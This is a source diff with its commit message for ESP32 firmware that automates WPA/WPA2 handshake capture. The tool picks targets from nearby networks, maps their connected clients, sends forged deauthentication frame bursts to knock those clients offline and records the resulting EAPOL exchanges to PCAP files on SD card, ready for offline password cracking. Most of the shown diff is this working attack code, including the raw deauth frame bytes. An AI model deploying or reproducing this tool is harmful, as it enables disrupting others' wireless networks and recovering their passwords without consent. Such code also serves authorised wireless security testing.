Implement 4-phase capture architecture: observe, target, capture
- Phase 2 (Observation): passive client mapping from data frame headers, ClientInfo array per slot (up to 8 clients), 5s observation window - Phase 3 (Targeting): unicast deauth burst to each discovered client instead of broadcast, reason code 7, 5 frames per client - Phase 4 (Capture): timeout + retry loop cycles back to observation to refresh stale client list (2 cycles within 30s channel timeout) - Fix EAPOL detection: compute LLC/SNAP offset from QoS vs non-QoS header length, verify AA-AA-03 SNAP prefix, skip protected frames - Concurrency: portMUX spinlock for callback/main-loop shared state, no dynamic alloc in callback, pre-allocated 4KB PCAP buffer per slot - Phase-aware LCD status display (mapping → capturing → EAPOL count) Made-with: Cursor
This commit is contained in:
@@ -2,23 +2,43 @@
|
|||||||
#include "SD_Card.h"
|
#include "SD_Card.h"
|
||||||
#include "LVGL_Driver.h"
|
#include "LVGL_Driver.h"
|
||||||
#include <algorithm>
|
#include <algorithm>
|
||||||
|
#include <cstring>
|
||||||
|
|
||||||
|
// ─── Internal prototypes ───
|
||||||
|
|
||||||
static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type);
|
static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type);
|
||||||
static void pcapInit();
|
static void pcapInitSlot(CaptureSlot* slot);
|
||||||
static void pcapAppend(const uint8_t* frame, size_t len);
|
static bool pcapAppendSlot(CaptureSlot* slot, const uint8_t* frame, size_t len);
|
||||||
static void saveHandshakeToSD();
|
static void sendDeauthToClient(const uint8_t* bssid, const uint8_t* client_mac);
|
||||||
|
static void sendDeauthBurstAll();
|
||||||
|
static bool addClientToSlot(CaptureSlot* slot, const uint8_t* mac);
|
||||||
|
|
||||||
WifiNetwork networks[20];
|
// ─── Shared state ───
|
||||||
WifiNetwork target;
|
|
||||||
|
WifiNetwork networks[MAX_NETWORKS];
|
||||||
|
CaptureSlot slots[MAX_SLOTS];
|
||||||
|
volatile int pending_save_slots[MAX_SLOTS] = {-1, -1, -1};
|
||||||
bool is_capturing = false;
|
bool is_capturing = false;
|
||||||
bool with_deauth = false;
|
int current_channel = 0;
|
||||||
uint8_t eapol_count = 0;
|
volatile int latest_eapol_count = 0;
|
||||||
bool beacon_captured = false;
|
CapturePhase capturePhase = PHASE_OBSERVING;
|
||||||
uint8_t* pcap_buffer = nullptr;
|
|
||||||
size_t pcap_size = 0;
|
|
||||||
int current_target_index = -1;
|
|
||||||
|
|
||||||
const unsigned long DEAUTH_INTERVAL_MS = 150;
|
// ─── Phase timing ───
|
||||||
|
|
||||||
|
#define OBSERVE_DURATION_MS 5000
|
||||||
|
#define CAPTURE_TIMEOUT_MS 10000
|
||||||
|
#define DEAUTH_BURST_COUNT 5
|
||||||
|
#define DEAUTH_BURST_DELAY 2 // ms between frames in a burst
|
||||||
|
#define MAX_PHASE_RETRIES 2 // total observe→deauth→capture cycles
|
||||||
|
|
||||||
|
static unsigned long phase_timer = 0;
|
||||||
|
static uint8_t phase_retries = 0;
|
||||||
|
|
||||||
|
// Spinlock for data shared between promiscuous callback (WiFi task)
|
||||||
|
// and main loop. Critical sections are kept very short.
|
||||||
|
static portMUX_TYPE capture_mux = portMUX_INITIALIZER_UNLOCKED;
|
||||||
|
|
||||||
|
// ─── Captured BSSID cache (persists across channel hops) ───
|
||||||
|
|
||||||
#define CAPTURED_BSSID_CACHE_SIZE 32
|
#define CAPTURED_BSSID_CACHE_SIZE 32
|
||||||
static uint8_t captured_bssids[CAPTURED_BSSID_CACHE_SIZE][6];
|
static uint8_t captured_bssids[CAPTURED_BSSID_CACHE_SIZE][6];
|
||||||
@@ -31,7 +51,7 @@ bool wasBssidCaptured(const uint8_t* bssid) {
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
void markBssidCaptured(const uint8_t* bssid) {
|
static void markBssidCaptured(const uint8_t* bssid) {
|
||||||
if (wasBssidCaptured(bssid)) return;
|
if (wasBssidCaptured(bssid)) return;
|
||||||
if (captured_bssid_count < CAPTURED_BSSID_CACHE_SIZE) {
|
if (captured_bssid_count < CAPTURED_BSSID_CACHE_SIZE) {
|
||||||
memcpy(captured_bssids[captured_bssid_count], bssid, 6);
|
memcpy(captured_bssids[captured_bssid_count], bssid, 6);
|
||||||
@@ -42,6 +62,8 @@ void markBssidCaptured(const uint8_t* bssid) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ─── Init ───
|
||||||
|
|
||||||
void handshakeCaptureInit() {
|
void handshakeCaptureInit() {
|
||||||
WiFi.mode(WIFI_STA);
|
WiFi.mode(WIFI_STA);
|
||||||
WiFi.disconnect(false, true);
|
WiFi.disconnect(false, true);
|
||||||
@@ -49,139 +71,163 @@ void handshakeCaptureInit() {
|
|||||||
WiFi.mode(WIFI_AP_STA);
|
WiFi.mode(WIFI_AP_STA);
|
||||||
esp_wifi_set_promiscuous(true);
|
esp_wifi_set_promiscuous(true);
|
||||||
esp_wifi_set_promiscuous_rx_cb(promiscuousRxCallback);
|
esp_wifi_set_promiscuous_rx_cb(promiscuousRxCallback);
|
||||||
|
for (int i = 0; i < MAX_SLOTS; i++) {
|
||||||
|
pending_save_slots[i] = -1;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ─── Pending save processing (main loop context — safe for SD I/O) ───
|
||||||
|
|
||||||
|
void handshakeCaptureProcessPending() {
|
||||||
|
for (int i = 0; i < MAX_SLOTS; i++) {
|
||||||
|
if (pending_save_slots[i] < 0) continue;
|
||||||
|
pending_save_slots[i] = -1;
|
||||||
|
|
||||||
|
CaptureSlot* s = &slots[i];
|
||||||
|
if (!s->active || s->pcap_size == 0) continue;
|
||||||
|
|
||||||
|
String filename = "/handshake_";
|
||||||
|
filename += s->ssid;
|
||||||
|
filename += "_";
|
||||||
|
filename += String(millis() / 1000);
|
||||||
|
filename += ".pcap";
|
||||||
|
filename.replace(" ", "_");
|
||||||
|
|
||||||
|
markBssidCaptured(s->bssid);
|
||||||
|
if (s->network_index >= 0 && s->network_index < MAX_NETWORKS) {
|
||||||
|
networks[s->network_index].handshake_captured = true;
|
||||||
|
Ui_SetNetworkColor(s->network_index, lv_palette_main(LV_PALETTE_RED));
|
||||||
|
}
|
||||||
|
|
||||||
|
File file = SD.open(filename.c_str(), FILE_WRITE);
|
||||||
|
if (file) {
|
||||||
|
if (file.write(s->pcap_buffer, s->pcap_size) == s->pcap_size) {
|
||||||
|
Serial.printf("Saved %s (%d bytes)\n", filename.c_str(), (int)s->pcap_size);
|
||||||
|
Ui_SetWifiStatus("Saved PCAP!");
|
||||||
|
} else {
|
||||||
|
Serial.println("SD Write Failed!");
|
||||||
|
Ui_SetWifiStatus("SD Write Err!");
|
||||||
|
}
|
||||||
|
file.close();
|
||||||
|
} else {
|
||||||
|
Serial.println("SD Open Failed!");
|
||||||
|
Ui_SetWifiStatus("SD Open Err!");
|
||||||
|
}
|
||||||
|
|
||||||
|
s->pcap_size = 0;
|
||||||
|
s->active = false;
|
||||||
|
}
|
||||||
|
refillSlots();
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── Slot management ───
|
||||||
|
|
||||||
|
static bool networkInAnySlot(int ni) {
|
||||||
|
for (int i = 0; i < MAX_SLOTS; i++) {
|
||||||
|
if (slots[i].active && slots[i].network_index == ni) return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
void refillSlots() {
|
||||||
|
if (!is_capturing || current_channel == 0) return;
|
||||||
|
for (int si = 0; si < MAX_SLOTS; si++) {
|
||||||
|
if (slots[si].active) continue;
|
||||||
|
for (int ni = 0; ni < MAX_NETWORKS; ni++) {
|
||||||
|
if (networks[ni].ssid.isEmpty()) break;
|
||||||
|
if (networks[ni].handshake_captured || !isCaptureable(ni)) continue;
|
||||||
|
if (networks[ni].ch != current_channel) continue;
|
||||||
|
if (networkInAnySlot(ni)) continue;
|
||||||
|
|
||||||
|
CaptureSlot* s = &slots[si];
|
||||||
|
memcpy(s->bssid, networks[ni].bssid, 6);
|
||||||
|
strncpy(s->ssid, networks[ni].ssid.c_str(), 32);
|
||||||
|
s->ssid[32] = '\0';
|
||||||
|
s->network_index = ni;
|
||||||
|
s->beacon_captured = false;
|
||||||
|
s->eapol_count = 0;
|
||||||
|
s->client_count = 0;
|
||||||
|
s->active = true;
|
||||||
|
pcapInitSlot(s);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── Network helpers ───
|
||||||
|
|
||||||
bool compareRSSI(const WifiNetwork& a, const WifiNetwork& b) {
|
bool compareRSSI(const WifiNetwork& a, const WifiNetwork& b) {
|
||||||
return a.rssi > b.rssi;
|
return a.rssi > b.rssi;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool isCaptureable(int index) {
|
bool isCaptureable(int index) {
|
||||||
if (index < 0 || index >= 20 || networks[index].ssid.isEmpty()) return false;
|
if (index < 0 || index >= MAX_NETWORKS || networks[index].ssid.isEmpty()) return false;
|
||||||
const String& enc = networks[index].encryption;
|
const String& enc = networks[index].encryption;
|
||||||
return enc == "WPA" || enc == "WPA2" || enc == "WPA/WPA2";
|
return enc == "WPA" || enc == "WPA2" || enc == "WPA/WPA2";
|
||||||
}
|
}
|
||||||
|
|
||||||
void scanNetworksSortedByRSSI() {
|
int getCaptureableCount() {
|
||||||
memset(networks, 0, sizeof(networks));
|
int n = 0;
|
||||||
int n = WiFi.scanNetworks(false, true);
|
for (int i = 0; i < MAX_NETWORKS; i++) {
|
||||||
if (n == 0) return;
|
if (networks[i].ssid.isEmpty()) break;
|
||||||
|
if (!networks[i].handshake_captured && isCaptureable(i)) n++;
|
||||||
int limit = min(n, 20);
|
|
||||||
for (int i = 0; i < limit; i++) {
|
|
||||||
String ssid = WiFi.SSID(i);
|
|
||||||
if (ssid.isEmpty()) networks[i].ssid = "<HIDDEN>";
|
|
||||||
else networks[i].ssid = ssid;
|
|
||||||
memcpy(networks[i].bssid, WiFi.BSSID(i), 6);
|
|
||||||
networks[i].ch = WiFi.channel(i);
|
|
||||||
networks[i].rssi = WiFi.RSSI(i);
|
|
||||||
wifi_auth_mode_t enc = WiFi.encryptionType(i);
|
|
||||||
if (enc == WIFI_AUTH_OPEN) networks[i].encryption = "Open";
|
|
||||||
else if (enc == WIFI_AUTH_WEP) networks[i].encryption = "WEP";
|
|
||||||
else if (enc == WIFI_AUTH_WPA_PSK) networks[i].encryption = "WPA";
|
|
||||||
else if (enc == WIFI_AUTH_WPA2_PSK) networks[i].encryption = "WPA2";
|
|
||||||
else if (enc == WIFI_AUTH_WPA_WPA2_PSK) networks[i].encryption = "WPA/WPA2";
|
|
||||||
else if (enc == WIFI_AUTH_WPA2_ENTERPRISE) networks[i].encryption = "WPA2 Enterprise";
|
|
||||||
else networks[i].encryption = "Unknown";
|
|
||||||
networks[i].handshake_captured = wasBssidCaptured(networks[i].bssid);
|
|
||||||
}
|
}
|
||||||
std::sort(networks, networks + limit, compareRSSI);
|
return n;
|
||||||
}
|
}
|
||||||
|
|
||||||
void setTarget(int index) {
|
int getBestChannel() {
|
||||||
if (index >= 0 && index < 20 && !networks[index].ssid.isEmpty()) {
|
int best_ch = 0;
|
||||||
target = networks[index];
|
int best_count = 0;
|
||||||
current_target_index = index;
|
int ch_counts[15] = {0};
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
int getCurrentTargetIndex() {
|
for (int i = 0; i < MAX_NETWORKS; i++) {
|
||||||
return current_target_index;
|
if (networks[i].ssid.isEmpty()) break;
|
||||||
}
|
if (networks[i].handshake_captured || !isCaptureable(i)) continue;
|
||||||
|
int ch = networks[i].ch;
|
||||||
bool isHandshakeCaptured(int index) {
|
if (ch >= 1 && ch <= 14) {
|
||||||
return index >= 0 && index < 20 && networks[index].handshake_captured;
|
ch_counts[ch - 1]++;
|
||||||
}
|
if (ch_counts[ch - 1] > best_count) {
|
||||||
|
best_count = ch_counts[ch - 1];
|
||||||
void markHandshakeCaptured(int index) {
|
best_ch = ch;
|
||||||
if (index >= 0 && index < 20) {
|
|
||||||
networks[index].handshake_captured = true;
|
|
||||||
markBssidCaptured(networks[index].bssid);
|
|
||||||
Ui_SetNetworkColor(index, lv_palette_main(LV_PALETTE_RED));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void startCapture(bool deauth) {
|
|
||||||
if (target.ssid.isEmpty() || is_capturing) return;
|
|
||||||
pcapInit();
|
|
||||||
beacon_captured = false;
|
|
||||||
eapol_count = 0;
|
|
||||||
with_deauth = deauth;
|
|
||||||
is_capturing = true;
|
|
||||||
esp_wifi_set_channel(target.ch, WIFI_SECOND_CHAN_NONE);
|
|
||||||
}
|
|
||||||
|
|
||||||
void stopCapture() {
|
|
||||||
if (!is_capturing) return;
|
|
||||||
if (pcap_size > 0) {
|
|
||||||
saveHandshakeToSD();
|
|
||||||
}
|
|
||||||
is_capturing = false;
|
|
||||||
with_deauth = false;
|
|
||||||
}
|
|
||||||
|
|
||||||
static void saveHandshakeToSD() {
|
|
||||||
String timestamp = String(millis() / 1000);
|
|
||||||
String filename = "/handshake_" + target.ssid + "_" + timestamp + ".pcap";
|
|
||||||
filename.replace(" ", "_");
|
|
||||||
|
|
||||||
File file = SD.open(filename, FILE_WRITE);
|
|
||||||
if (!file) {
|
|
||||||
Serial.println("SD write failed");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
if (file.write(pcap_buffer, pcap_size) == pcap_size) {
|
|
||||||
Serial.printf("Saved %s (%d bytes)\n", filename.c_str(), (int)pcap_size);
|
|
||||||
markHandshakeCaptured(current_target_index);
|
|
||||||
}
|
|
||||||
file.close();
|
|
||||||
free(pcap_buffer);
|
|
||||||
pcap_buffer = nullptr;
|
|
||||||
pcap_size = 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
|
|
||||||
if (!is_capturing) return;
|
|
||||||
wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*)buf;
|
|
||||||
uint8_t* payload = pkt->payload;
|
|
||||||
uint16_t len = pkt->rx_ctrl.sig_len;
|
|
||||||
if (len < 36) return;
|
|
||||||
|
|
||||||
uint8_t frame_type = payload[0];
|
|
||||||
bool is_beacon = frame_type == 0x80;
|
|
||||||
|
|
||||||
if (is_beacon && !beacon_captured && memcmp(&payload[10], target.bssid, 6) == 0) {
|
|
||||||
beacon_captured = true;
|
|
||||||
pcapAppend(payload, len);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
if ((frame_type == 0x08 || frame_type == 0x88) &&
|
|
||||||
(memcmp(&payload[10], target.bssid, 6) == 0 || memcmp(&payload[4], target.bssid, 6) == 0)) {
|
|
||||||
uint16_t ethertype = (payload[32] << 8) | payload[33];
|
|
||||||
if (ethertype == 0x888E) {
|
|
||||||
eapol_count++;
|
|
||||||
pcapAppend(payload, len);
|
|
||||||
if (eapol_count >= 4) {
|
|
||||||
stopCapture();
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
return best_ch;
|
||||||
}
|
}
|
||||||
|
|
||||||
static void pcapInit() {
|
void scanNetworksSortedByRSSI() {
|
||||||
free(pcap_buffer);
|
memset(networks, 0, sizeof(networks));
|
||||||
pcap_size = sizeof(pcap_global_header_t);
|
int n = WiFi.scanNetworks(false, false);
|
||||||
pcap_buffer = (uint8_t*)malloc(pcap_size);
|
if (n == 0) return;
|
||||||
|
|
||||||
|
int stored = 0;
|
||||||
|
for (int i = 0; i < n && stored < MAX_NETWORKS; i++) {
|
||||||
|
String ssid = WiFi.SSID(i);
|
||||||
|
if (ssid.isEmpty()) continue;
|
||||||
|
|
||||||
|
networks[stored].ssid = ssid;
|
||||||
|
memcpy(networks[stored].bssid, WiFi.BSSID(i), 6);
|
||||||
|
networks[stored].ch = WiFi.channel(i);
|
||||||
|
networks[stored].rssi = WiFi.RSSI(i);
|
||||||
|
wifi_auth_mode_t enc = WiFi.encryptionType(i);
|
||||||
|
if (enc == WIFI_AUTH_OPEN) networks[stored].encryption = "Open";
|
||||||
|
else if (enc == WIFI_AUTH_WEP) networks[stored].encryption = "WEP";
|
||||||
|
else if (enc == WIFI_AUTH_WPA_PSK) networks[stored].encryption = "WPA";
|
||||||
|
else if (enc == WIFI_AUTH_WPA2_PSK) networks[stored].encryption = "WPA2";
|
||||||
|
else if (enc == WIFI_AUTH_WPA_WPA2_PSK) networks[stored].encryption = "WPA/WPA2";
|
||||||
|
else if (enc == WIFI_AUTH_WPA2_ENTERPRISE) networks[stored].encryption = "WPA2 Enterprise";
|
||||||
|
else networks[stored].encryption = "Unknown";
|
||||||
|
networks[stored].handshake_captured = wasBssidCaptured(networks[stored].bssid);
|
||||||
|
|
||||||
|
stored++;
|
||||||
|
}
|
||||||
|
std::sort(networks, networks + stored, compareRSSI);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── PCAP buffer (fixed-size, no dynamic alloc) ───
|
||||||
|
|
||||||
|
static void pcapInitSlot(CaptureSlot* slot) {
|
||||||
|
slot->pcap_size = sizeof(pcap_global_header_t);
|
||||||
pcap_global_header_t header = {
|
pcap_global_header_t header = {
|
||||||
.magic_number = 0xa1b2c3d4,
|
.magic_number = 0xa1b2c3d4,
|
||||||
.version_major = 2,
|
.version_major = 2,
|
||||||
@@ -191,41 +237,271 @@ static void pcapInit() {
|
|||||||
.snaplen = 65535,
|
.snaplen = 65535,
|
||||||
.network = 105
|
.network = 105
|
||||||
};
|
};
|
||||||
memcpy(pcap_buffer, &header, sizeof(header));
|
memcpy(slot->pcap_buffer, &header, sizeof(header));
|
||||||
}
|
}
|
||||||
|
|
||||||
static void pcapAppend(const uint8_t* frame, size_t len) {
|
// Must be called inside capture_mux critical section.
|
||||||
if (!frame || len == 0) return;
|
static bool pcapAppendSlot(CaptureSlot* slot, const uint8_t* frame, size_t len) {
|
||||||
|
if (!frame || len == 0) return false;
|
||||||
|
size_t needed = sizeof(pcap_record_header_t) + len;
|
||||||
|
if (slot->pcap_size + needed > PCAP_MAX_SIZE) return false;
|
||||||
|
|
||||||
|
uint32_t ms = millis();
|
||||||
pcap_record_header_t rec = {
|
pcap_record_header_t rec = {
|
||||||
.ts_sec = millis() / 1000,
|
.ts_sec = ms / 1000,
|
||||||
.ts_usec = (millis() % 1000) * 1000,
|
.ts_usec = (ms % 1000) * 1000,
|
||||||
.incl_len = len,
|
.incl_len = (uint32_t)len,
|
||||||
.orig_len = len
|
.orig_len = (uint32_t)len
|
||||||
};
|
};
|
||||||
uint8_t* new_buf = (uint8_t*)realloc(pcap_buffer, pcap_size + sizeof(rec) + len);
|
|
||||||
if (!new_buf) return;
|
memcpy(slot->pcap_buffer + slot->pcap_size, &rec, sizeof(rec));
|
||||||
memcpy(new_buf + pcap_size, &rec, sizeof(rec));
|
memcpy(slot->pcap_buffer + slot->pcap_size + sizeof(rec), frame, len);
|
||||||
memcpy(new_buf + pcap_size + sizeof(rec), frame, len);
|
slot->pcap_size += needed;
|
||||||
pcap_buffer = new_buf;
|
return true;
|
||||||
pcap_size += sizeof(rec) + len;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void sendDeauth() {
|
// ─── Client tracking (called from callback under spinlock) ───
|
||||||
if (!is_capturing || !with_deauth) return;
|
|
||||||
uint8_t deauth_packet[26] = {
|
static bool addClientToSlot(CaptureSlot* slot, const uint8_t* mac) {
|
||||||
0xC0, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
|
if (mac[0] & 0x01) return false; // multicast/broadcast
|
||||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
if (memcmp(mac, slot->bssid, 6) == 0) return false; // the AP itself
|
||||||
0x00, 0x00, 0x01, 0x00
|
|
||||||
};
|
for (uint8_t i = 0; i < slot->client_count; i++) {
|
||||||
memcpy(&deauth_packet[10], target.bssid, 6);
|
if (memcmp(slot->clients[i].mac, mac, 6) == 0) {
|
||||||
memcpy(&deauth_packet[16], target.bssid, 6);
|
slot->clients[i].last_seen = millis();
|
||||||
esp_wifi_80211_tx(WIFI_IF_STA, deauth_packet, sizeof(deauth_packet), false);
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (slot->client_count >= MAX_CLIENTS_PER_SLOT) return false;
|
||||||
|
|
||||||
|
memcpy(slot->clients[slot->client_count].mac, mac, 6);
|
||||||
|
slot->clients[slot->client_count].last_seen = millis();
|
||||||
|
slot->client_count++;
|
||||||
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void handshakeCaptureLoop() {
|
// ─── Deauth: unicast burst to each discovered client ───
|
||||||
static unsigned long last_deauth = 0;
|
|
||||||
if (is_capturing && with_deauth && millis() - last_deauth > DEAUTH_INTERVAL_MS) {
|
static void sendDeauthToClient(const uint8_t* bssid, const uint8_t* client_mac) {
|
||||||
sendDeauth();
|
uint8_t deauth[26] = {
|
||||||
last_deauth = millis();
|
0xC0, 0x00, // Frame Control: Deauth
|
||||||
|
0x00, 0x00, // Duration
|
||||||
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // DA: client
|
||||||
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // SA: AP BSSID
|
||||||
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // BSSID: AP
|
||||||
|
0x00, 0x00, // Seq Ctrl
|
||||||
|
0x07, 0x00 // Reason: Class 3 from non-associated STA
|
||||||
|
};
|
||||||
|
|
||||||
|
memcpy(&deauth[4], client_mac, 6);
|
||||||
|
memcpy(&deauth[10], bssid, 6);
|
||||||
|
memcpy(&deauth[16], bssid, 6);
|
||||||
|
|
||||||
|
for (int i = 0; i < DEAUTH_BURST_COUNT; i++) {
|
||||||
|
esp_wifi_80211_tx(WIFI_IF_STA, deauth, sizeof(deauth), false);
|
||||||
|
if (i < DEAUTH_BURST_COUNT - 1) delay(DEAUTH_BURST_DELAY);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
static void sendDeauthBurstAll() {
|
||||||
|
for (int i = 0; i < MAX_SLOTS; i++) {
|
||||||
|
CaptureSlot* s = &slots[i];
|
||||||
|
if (!s->active) continue;
|
||||||
|
|
||||||
|
if (s->client_count > 0) {
|
||||||
|
Serial.printf("[%s] deauth -> %d client(s)\n", s->ssid, s->client_count);
|
||||||
|
for (uint8_t c = 0; c < s->client_count; c++) {
|
||||||
|
sendDeauthToClient(s->bssid, s->clients[c].mac);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
Serial.printf("[%s] deauth -> broadcast (no clients mapped)\n", s->ssid);
|
||||||
|
uint8_t bcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
|
||||||
|
sendDeauthToClient(s->bssid, bcast);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── Capture lifecycle ───
|
||||||
|
|
||||||
|
void startMultiCapture() {
|
||||||
|
if (is_capturing) return;
|
||||||
|
|
||||||
|
current_channel = getBestChannel();
|
||||||
|
if (current_channel == 0) return;
|
||||||
|
|
||||||
|
memset(slots, 0, sizeof(slots));
|
||||||
|
int filled = 0;
|
||||||
|
for (int i = 0; i < MAX_NETWORKS && filled < MAX_SLOTS; i++) {
|
||||||
|
if (networks[i].ssid.isEmpty()) break;
|
||||||
|
if (networks[i].handshake_captured || !isCaptureable(i)) continue;
|
||||||
|
if (networks[i].ch != current_channel) continue;
|
||||||
|
|
||||||
|
CaptureSlot* s = &slots[filled];
|
||||||
|
memcpy(s->bssid, networks[i].bssid, 6);
|
||||||
|
strncpy(s->ssid, networks[i].ssid.c_str(), 32);
|
||||||
|
s->ssid[32] = '\0';
|
||||||
|
s->network_index = i;
|
||||||
|
s->beacon_captured = false;
|
||||||
|
s->eapol_count = 0;
|
||||||
|
s->client_count = 0;
|
||||||
|
s->active = true;
|
||||||
|
pcapInitSlot(s);
|
||||||
|
filled++;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (filled == 0) return;
|
||||||
|
|
||||||
|
is_capturing = true;
|
||||||
|
capturePhase = PHASE_OBSERVING;
|
||||||
|
phase_timer = millis();
|
||||||
|
phase_retries = 0;
|
||||||
|
esp_wifi_set_channel(current_channel, WIFI_SECOND_CHAN_NONE);
|
||||||
|
|
||||||
|
Serial.printf("Phase 2: observing ch %d (%d target(s))\n", current_channel, filled);
|
||||||
|
}
|
||||||
|
|
||||||
|
void stopCapture() {
|
||||||
|
if (!is_capturing) return;
|
||||||
|
is_capturing = false;
|
||||||
|
for (int i = 0; i < MAX_SLOTS; i++) {
|
||||||
|
if (slots[i].active) {
|
||||||
|
if (slots[i].eapol_count >= 1) {
|
||||||
|
pending_save_slots[i] = i;
|
||||||
|
} else {
|
||||||
|
slots[i].pcap_size = 0;
|
||||||
|
slots[i].active = false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
handshakeCaptureProcessPending();
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── State machine tick (called from main loop) ───
|
||||||
|
|
||||||
|
void handshakeCaptureLoop() {
|
||||||
|
if (!is_capturing) return;
|
||||||
|
|
||||||
|
unsigned long now = millis();
|
||||||
|
|
||||||
|
// Phase 2 → Phase 3 (transient burst) → Phase 4
|
||||||
|
if (capturePhase == PHASE_OBSERVING) {
|
||||||
|
if (now - phase_timer >= OBSERVE_DURATION_MS) {
|
||||||
|
int total = 0;
|
||||||
|
for (int i = 0; i < MAX_SLOTS; i++) {
|
||||||
|
if (slots[i].active) {
|
||||||
|
Serial.printf(" [%s] %d client(s)\n", slots[i].ssid, slots[i].client_count);
|
||||||
|
total += slots[i].client_count;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Serial.printf("Observation done: %d client(s). Sending deauth burst.\n", total);
|
||||||
|
|
||||||
|
sendDeauthBurstAll();
|
||||||
|
|
||||||
|
capturePhase = PHASE_CAPTURING;
|
||||||
|
phase_timer = now;
|
||||||
|
phase_retries++;
|
||||||
|
Serial.println("Phase 4: capturing handshakes...");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Phase 4 timeout → re-observe or let .ino CHANNEL_TIMEOUT handle final stop
|
||||||
|
if (capturePhase == PHASE_CAPTURING) {
|
||||||
|
if (now - phase_timer >= CAPTURE_TIMEOUT_MS) {
|
||||||
|
if (phase_retries < MAX_PHASE_RETRIES) {
|
||||||
|
Serial.printf("Capture timeout. Re-observing (cycle %d/%d)...\n",
|
||||||
|
phase_retries + 1, MAX_PHASE_RETRIES);
|
||||||
|
portENTER_CRITICAL(&capture_mux);
|
||||||
|
for (int i = 0; i < MAX_SLOTS; i++) {
|
||||||
|
if (slots[i].active) slots[i].client_count = 0;
|
||||||
|
}
|
||||||
|
portEXIT_CRITICAL(&capture_mux);
|
||||||
|
|
||||||
|
capturePhase = PHASE_OBSERVING;
|
||||||
|
phase_timer = now;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── Promiscuous RX callback ───
|
||||||
|
// Runs in WiFi task context (high priority). Must be fast.
|
||||||
|
// No Serial, no malloc/realloc, no file I/O.
|
||||||
|
|
||||||
|
static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
|
||||||
|
(void)type;
|
||||||
|
if (!is_capturing) return;
|
||||||
|
|
||||||
|
wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*)buf;
|
||||||
|
const uint8_t* payload = pkt->payload;
|
||||||
|
uint16_t len = pkt->rx_ctrl.sig_len;
|
||||||
|
if (len < 24) return;
|
||||||
|
|
||||||
|
uint8_t frame_type = payload[0];
|
||||||
|
bool is_beacon = (frame_type == 0x80);
|
||||||
|
bool is_qos = (frame_type == 0x88);
|
||||||
|
bool is_data = (frame_type == 0x08) || is_qos;
|
||||||
|
|
||||||
|
// Pre-compute EAPOL presence for data frames
|
||||||
|
bool is_eapol = false;
|
||||||
|
if (is_data) {
|
||||||
|
bool to_ds = (payload[1] & 0x01) != 0;
|
||||||
|
bool from_ds = (payload[1] & 0x02) != 0;
|
||||||
|
uint16_t mhl = 24;
|
||||||
|
if (to_ds && from_ds) mhl += 6; // WDS 4-addr
|
||||||
|
if (is_qos) mhl += 2; // QoS Control
|
||||||
|
|
||||||
|
// EAPOL is always unencrypted — skip protected frames
|
||||||
|
if (!(payload[1] & 0x40) && len >= mhl + 8) {
|
||||||
|
// Verify LLC/SNAP header prefix (AA AA 03) before reading ethertype
|
||||||
|
if (payload[mhl] == 0xAA &&
|
||||||
|
payload[mhl + 1] == 0xAA &&
|
||||||
|
payload[mhl + 2] == 0x03) {
|
||||||
|
is_eapol = (payload[mhl + 6] == 0x88 && payload[mhl + 7] == 0x8E);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
portENTER_CRITICAL(&capture_mux);
|
||||||
|
|
||||||
|
for (int i = 0; i < MAX_SLOTS; i++) {
|
||||||
|
CaptureSlot* s = &slots[i];
|
||||||
|
if (!s->active || pending_save_slots[i] >= 0) continue;
|
||||||
|
|
||||||
|
// Beacon capture
|
||||||
|
if (is_beacon && !s->beacon_captured && len >= 36 &&
|
||||||
|
memcmp(&payload[10], s->bssid, 6) == 0) {
|
||||||
|
s->beacon_captured = true;
|
||||||
|
pcapAppendSlot(s, payload, len);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!is_data) continue;
|
||||||
|
|
||||||
|
// Check if this data frame involves this slot's BSSID
|
||||||
|
